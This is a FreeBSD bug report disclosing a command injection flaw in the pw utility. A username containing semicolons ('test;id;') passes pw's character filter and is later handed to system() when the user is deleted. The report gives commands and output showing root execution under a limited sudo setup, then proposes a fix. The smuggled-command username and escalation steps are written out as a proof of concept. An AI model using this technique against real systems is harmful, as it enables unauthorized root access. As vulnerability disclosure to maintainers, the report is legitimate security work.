[Bug 271427] FreeBSD pw command injection vulnerability

[email protected]
Newsgroups gmane.os.freebsd.devel.standards
Message-ID <[email protected]/bugzilla/>
https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=271427

            Bug ID: 271427
           Summary: FreeBSD pw command injection vulnerability
           Product: Base System
           Version: 13.2-RELEASE
          Hardware: Any
                OS: Any
            Status: New
          Severity: Affects Only Me
          Priority: ---
         Component: standards
          Assignee: [email protected]
          Reporter: [email protected]

Created attachment 242180
  --> https://bugs.freebsd.org/bugzilla/attachment.cgi?id=242180&action=edit
the describtion of the bug

================================================
Summary
================================================

I found a command injection vulnerability in the /usr/sbin/pw 
and tested it successfully on FreeBSD 13.2-RELEASE.

================================================
Analysis
================================================

In usr.sbin/pw/pw_user.c file, the pw_checkname function's badchars filtering
of 
malicious characters is not strict, such as no filtering of semicolons( ; ).
badchars filtering is  as below:

-----------------------------------------
char *
pw_checkname(char *name, int gecos)
{
        char showch[8];
        const char *badchars, *ch, *showtype;
        int reject;

        ch = name;
        reject = 0;
        if (gecos) {
                /* See if the name is valid as a gecos (comment) field. */
                badchars = ":";
                showtype = "gecos field";
        } else {
                /* See if the name is valid as a userid or group. */
                badchars = " ,\t:+&#%$^()!@~*?<>=|\\/\"";
                showtype = "userid/group name";
                /* Userids and groups can not have a leading '-'. */
                if (*ch == '-')
                        reject = 1;
        }
----------------------------------------------------------

So I can use the command: pw add user 'test;id;' 
to bypass the malicious character check above and 
a user named 'test;id;'

-----------------------------------------------------------
buff@freebsd:~ $ sudo pw user add 'test;id;'
buff@freebsd:~ $ sudo pw user show 'test;id;'
test;id;:*:1003:1003::0:0:User &:/home/test;id;:/bin/sh
------------------------------------------------------------------------------------------------------

In the pw_user_del function, when deleting a user, the related crontab tasks
will also be 
deleted by using the system() function to execute the contab command.

------------------------------------------------------------------------------------------------------
if (!PWALTDIR()) {
                /* Remove crontabs */
                snprintf(file, sizeof(file), "/var/cron/tabs/%s",
pwd->pw_name);
                if (access(file, F_OK) == 0) {
                        // crontab -u test;id; -r
                        snprintf(file, sizeof(file), "crontab -u %s -r",
                            pwd->pw_name);
                        system(file);
                }
        }
-----------------------------------------------------------------------------

If we have a username called 'test;id;', so the system(file) is equal to 
system("crontab -u test;id;-r "), this command will successfully execute 
the id command.

-----------------------------------------------------------------------------
buff@freebsd:~ $ crontab -u test;id;-r
crontab: must be privileged to use -u
uid=1001(buff) gid=1001(buff) groups=1001(buff)
-sh: -r: not found
------------------------------------------------------------------------------

================================================
Attack case
================================================

My account( buff ) is just running the `pw`  and `crontab` using for sudo, and
the 
contents of sudoers are as follows:

---------------------------------------------------
buff ALL=(root) NOPASSWD:/usr/sbin/pw
buff ALL=(root) NOPASSWD:/usr/bin/crontab
---------------------------------------------------

Next, I created a malicious username using `pw`.

------------------------------------------------------------
buff@freebsd:~ $ sudo pw user add 'test;id;'
buff@freebsd:~ $ sudo pw user show 'test;id;'
test;id;:*:1003:1003::0:0:User &:/home/test;id;:/bin/sh
buff@freebsd:~ $
-------------------------------------------------------------------------

Then, I used crontab to create a task for the username 'test;id;'.

-------------------------------------------------------------------------
buff@freebsd:~ $ sudo crontab -u 'test;id;' -l
5 * * * * ls
buff@freebsd:~ $
-------------------------------------------------------------------------

Finally, using the `pw user del 'test;id;'` command will delete the 
user and its corresponding crontab task, and execute the 
malicious injected `id` command.

-------------------------------------------------------------------------
buff@freebsd:~ $ sudo pw user del 'test;id;'
crontab: user `test' unknown
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
sh: -r: not found
buff@freebsd:~ $
-------------------------------------------------------------------------

================================================
Patch
================================================

Enhance the badchars in the pw_checkname function by adding 
semicolons and other characters that may cause malicious 
command injection.

-- 
You are receiving this mail because:
You are the assignee for the bug.
lmpx.com only provides a reader for public news (NNTP) servers. It is not affiliated with the servers or forums shown here and is not responsible for the content of articles, which is written by their respective authors.